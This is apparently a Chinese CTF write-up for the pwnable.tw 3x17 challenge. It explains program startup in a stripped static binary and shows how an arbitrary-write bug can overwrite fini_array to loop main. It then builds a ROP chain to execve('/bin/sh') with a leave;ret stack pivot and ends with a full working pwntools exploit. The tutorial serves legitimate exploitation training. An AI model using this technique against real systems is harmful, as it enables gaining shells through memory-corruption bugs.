前言
最近在pwnable做題遇到一道靜態編譯的二進制文件,並且是去除符號表的,從這道題可以學習到main函數的由來,以及start函數的部分知識。
題目
這裏以pwnable.tw的3x17的題目作爲例子。
檢查保護
題目僅僅開啓了NX的保護
可以看到題目採用的是靜態鏈接
•靜態鏈接:靜態鏈接需要在編譯鏈接的時候將需要執行的代碼直接拷貝到調用處,這樣可以做到程序發佈的時候不需要依賴庫,相反的程序佔用的內存可能相對較大
•動態鏈接:動態鏈接則是當需要調用時,再將庫中的代碼加載到程序中去,在編譯的時候只需要用符號和參數去代替這些代碼。這樣程序編譯出來的內存較小,但是需要將庫一起發佈出去,缺少庫則可能運行不了。
運行程序
程序需要輸入地址,在輸入數據,從這可以猜出程序有個任意地址寫的漏洞。
拖入IDA分析
在使用ida逆向分析的時候可以發現,函數名已經被去除了,只剩下函數的地址。
在使用gdb去調試程序時,也可以看到符號表被去除
尋找主要的函數
由於我們在運行程序時可以看到提示的字符,因此可以通過字符去尋找主要的函數
雙擊點擊字符
可以看到提示字符是保存在buf數組中,選中buf數組,按下x鍵,尋找數組的交叉引用
就進入到了主要函數的相關邏輯,程序很簡單,輸入地址,可以寫入18個字節,即任意地址寫的漏洞,但是程序去除了符號表,因此像got表之類的地址我們找不到,因此這裏引出start函數
start函數
其實main函數(主函數)即不是函數的入口點,也不是函數的起始點
這裏借用一張圖,可以看到
start - > __libc_start_main -> main
start函數調用了__libc_start_main函數,__libc_start_main函數調用了main函數
使用命令readelf -h *,會顯示入口點地址,該地值即爲start函數的地址
在64位程序下,前六個參數是通過寄存器傳參的,而rdi寄存器中保存的是main函數的地址,r8寄存器中保存的是__libc_csu_fini的地址,rcx寄存器中保存的是__libc_csu_init的地址,接着調用__libc_start_main函數
start函數的彙編代碼
.text:0000000000401A50 start proc near ; DATA XREF: LOAD:0000000000400018↑o
.text:0000000000401A50 ; __unwind {
.text:0000000000401A50 xor ebp, ebp #清除ebp寄存器的值
.text:0000000000401A52 mov r9, rdx
.text:0000000000401A55 pop rsi
.text:0000000000401A56 mov rdx, rsp
.text:0000000000401A59 and rsp, 0FFFFFFFFFFFFFFF0h
.text:0000000000401A5D push rax
.text:0000000000401A5E push rsp
.text:0000000000401A5F mov r8, offset sub_402960 #__libc_csu_fini
.text:0000000000401A66 mov rcx, offset loc_4028D0#__libc_csu_init
.text:0000000000401A6D mov rdi, offset sub_401B6D #main
.text:0000000000401A74 db 67h
.text:0000000000401A74 call sub_401EB0 #調用__libc_start_main
.text:0000000000401A7A hlt
.text:0000000000401A7A ; } // starts at 401A50
.text:0000000000401A7A start endp
_libcstart_main函數
int __libc_start_main( int (*main) (int, char * *, char * *),
int argc, char * * ubp_av,
void (*init) (void),
void (*fini) (void),
void (*rtld_fini) (void),
void (* stack_end));
從該圖可以得知__libc_csu_init是在main函數前調用的,__libc_csu_fini是在main函數後調用的
接着我們我們來看看__libc_csu_fini函數,因爲該該函數是在main函數後調用,程序存在一個任意地址寫的漏洞,若我們通過該漏洞去修改__libc_csu_fini函數則有可能去修改程序執行的流程
_libccsu_fini函數的彙編代碼
.text:0000000000402960 ; __unwind {
.text:0000000000402960 push rbp
.text:0000000000402961 lea rax, unk_4B4100 #fini_array數組的結束地址
.text:0000000000402968 lea rbp, off_4B40F0 #fini_array
.text:000000000040296F push rbx
.text:0000000000402970 sub rax, rbp #獲得數組的長度
.text:0000000000402973 sub rsp, 8
.text:0000000000402977 sar rax, 3 #0x10>>3 = 2
.text:000000000040297B jz short loc_402996
.text:000000000040297D lea rbx, [rax-1] # 2-1 = 1
.text:0000000000402981 nop dword ptr [rax+00000000h]
.text:0000000000402988
.text:0000000000402988 loc_402988: ; CODE XREF: sub_402960+34↓j
.text:0000000000402988 call qword ptr [rbp+rbx*8+0]
#即先調用fini_array[1]再調用fini_array[0]
.text:000000000040298C sub rbx, 1
.text:0000000000402990 cmp rbx, 0FFFFFFFFFFFFFFFFh
.text:0000000000402994 jnz short loc_402988
.text:0000000000402996
.text:0000000000402996 loc_402996: ; CODE XREF: sub_402960+1B↑j
.text:0000000000402996 add rsp, 8
.text:000000000040299A pop rbx
.text:000000000040299B pop rbp
.text:000000000040299C jmp sub_48E32C
.text:000000000040299C ; } // starts at 402960
.text:000000000040299C sub_402960 endp
程序邏輯還是比較清楚的,先是取0x4b4100地址存入rax寄存器中,再取0x4b40f0地址存入rbp寄存器中,這兩個地址剛好是fini_array數組的範圍,該數組可以存放兩個地址,在這稱爲fini_array[0]與fini_array[1],通過代碼可以看出,程序是先調用了fini_array[1]再去調用fini_array[0]。
我們用gdb跟蹤調試一下
lea rax,[rip+0xb1798] #0x4B4100
該地值爲fini_array數組已經結束的地址,爲後續計算數組長度做準備
lea rbp,[rip+0xb1781] #0x4B40F0
將數組的起始地址存入rbp中
.text:0000000000402988 call qword ptr [rbp+rbx*8+0]
.text:000000000040298C sub rbx, 1
.text:0000000000402990 cmp rbx, 0FFFFFFFFFFFFFFFFh
.text:0000000000402994 jnz short loc_402988
可以看到rbx寄存器相當於存放的是數組的下標值,由於數組存放的內容大小爲8個字節,因此要rbx*8,先調用fini_array[1],後面則是對下標做減1的操作,接着調用fini_array[0]的內容,當下標爲-1時跳出循環
至此,我們已經簡略的分析了__libc_csu_fini函數的執行流程,簡單來說就是執行fini_array數組的內容,先執行fini_array[1]接着執行fini_array[0],由於程序存在任意地址寫的漏洞,那麼就可以修改fini_array數組的內容,讓程序執行我們想執行的內容。
思路
•利用任意地址寫的漏洞修改fini_array數組的內容
•將fini_array[1]的內容修改爲main函數的地址,將fini_array[0]的內容修改爲__libc_csu_fini的地址,這樣可以達到無限制的任意地址寫
main
-> 調用__libc_csu_fini
-> 調用main函數(fini_array[0])
-> 調用__libc_csu_fini(fini_array[1])
-> 調用main函數(fini_array[0])
........
•利用無限制的任意地址寫在fini_array+0x10構造ROP鏈
•利用棧轉移,將棧轉移到fini_array+0x10從而觸發ROP鏈
腳本分析
將array_fini[0]修改爲__libc_csu_fini的地址
將array_fini[1]修改爲main函數的地址
ropchain(fini_array,p64(fini)+p64(main))
因爲程序中沒有/bin/sh\x00,因此挑一段可寫段寫入/bin/sh\x00,這裏我採用的是bss段
ropchain(0x4b92e0,'/bin/sh\x00') #0x4b92e0是bss段的地址
這裏我選擇利用調用59號中斷取獲得shell,64位程序採用寄存器傳參,因此我們需要找到相應寄存器的地址構造ROP鏈,rax寄存器需要傳入調用號,rdi則需要傳入/bin/sh\x00的地址,其餘參數爲0
ropchain(fini_array+0x10,p64(rax_ret))
ropchain(fini_array+0x18,p64(59))
ropchain(fini_array+0x20,p64(rdi_ret))
ropchain(fini_array+0x28,p64(0x4b92e0))
ropchain(fini_array+0x30,p64(rsi_ret))
ropchain(fini_array+0x38,p64(0))
ropchain(fini_array+0x40,p64(rdx_ret))
ropchain(fini_array+0x48,p64(0))
ropchain(fini_array+0x50,p64(syscall))
ropchain(fini_array,p64(leave_ret)+p64(ret))
#等價於 execve('/bin/sh\x00',0,0);
由於32位與64位的中斷調用號不一樣,因此需要查詢一下,這個網站的地址收集了64位與32位的中斷調用號,非常實用。
https://blog.csdn.net/qq_29343201/article/details/52209588
59調用號實則是調用了execve函數
#define __NR_execve 59
採用leave;ret進行棧轉移
ropchain(fini_array,p64(leave_ret)+p64(ret))
因爲rbp已經存入了fini_array數組的首地址,因此利用leave;ret可以進行棧轉移,使得rip指向fini_array+8的位置,可能會疑惑爲什麼是fini_array+8而不是fini_array,是因爲在mov rsp,rbp時,此時的rsp指針已經時指向了fini_array的位置,接着pop rbp使得rsp+8,因此此時的rsp指針指向的位置爲fini_array+8的位置,可能看解釋不太清楚,那就看下調試的結果
leave 相當於 mov rsp,rbp
pop rbp
ret 相當於 pop rip
在執行leave指令之前,此時的rbp的地址爲0x4b98e0
在執行leave指令之後,此時的rsp的地址爲0x4b40f8
但是我們構造的ROP鏈的地址爲0x4b4100,因此還需要將棧擡高0x8因此需要將array_fini[1]的數組內容修改爲ret指令,使得棧地址可以擡高0x8達到我們構造的ROP鏈的地址
ropchain(fini_array,p64(leave_ret)+p64(ret))#即這裏爲什麼需要多加一個ret指令
完整exp
雖然題目是pwnable.tw的,但是比較是國外的平臺,比較慢,因此這裏我選擇去BUUCTF這個平臺去跑腳本,BUU裏面有很多往年或者是新題目,值得去刷一刷
from pwn import *
sh = process("./pwn")
#sh = remote("node3.buuoj.cn",26554)
main =0x401B6D
fini_array =0x4B40F0
fini =0x402960
syscall =0x4022b4
rax_ret =0x41e4af
rdi_ret =0x401696
rsi_ret =0x406c30
rdx_ret =0x446e35
leave_ret =0x401c4b
ret =0x401016
def ropchain(addr,data):
sh.recvuntil("addr:")
sh.send(str(addr))
sh.recvuntil("data:")
sh.send(data)
ropchain(fini_array,p64(fini)+p64(main))
ropchain(0x4b92e0,'/bin/sh\x00')
ropchain(fini_array+0x10,p64(rax_ret))
ropchain(fini_array+0x18,p64(59))
ropchain(fini_array+0x20,p64(rdi_ret))
ropchain(fini_array+0x28,p64(0x4b92e0))
ropchain(fini_array+0x30,p64(rsi_ret))
ropchain(fini_array+0x38,p64(0))
ropchain(fini_array+0x40,p64(rdx_ret))
ropchain(fini_array+0x48,p64(0))
ropchain(fini_array+0x50,p64(syscall))
attach(sh)
ropchain(fini_array,p64(leave_ret)+p64(ret))
sh.interactive()
結語
題目本身不是很難,但是通過這個題目我們可以學習到main函數的由來和start函數以及__libc_csu_fini函數中存在可以利用的點,還可以鞏固系統調用和棧轉移的知識,是個非常不錯的題目。
參考鏈接
https://blog.csdn.net/gettogetto/article/details/52251753
https://bbs.pediy.com/thread-259298.htm
http://dbp-consulting.com/tutorials/debugging/linuxProgramStartup.html
https://www.freebuf.com/articles/system/226003.html
https://blog.csdn.net/qq_29343201/article/details/52209588
實驗推薦
PWN綜合練習(一)
https://www.hetianlab.com/expc.do?ec=ECID172.19.104.182015111814131600001
CTF PWN進階訓練實戰,嘗試溢出一個URL解碼程序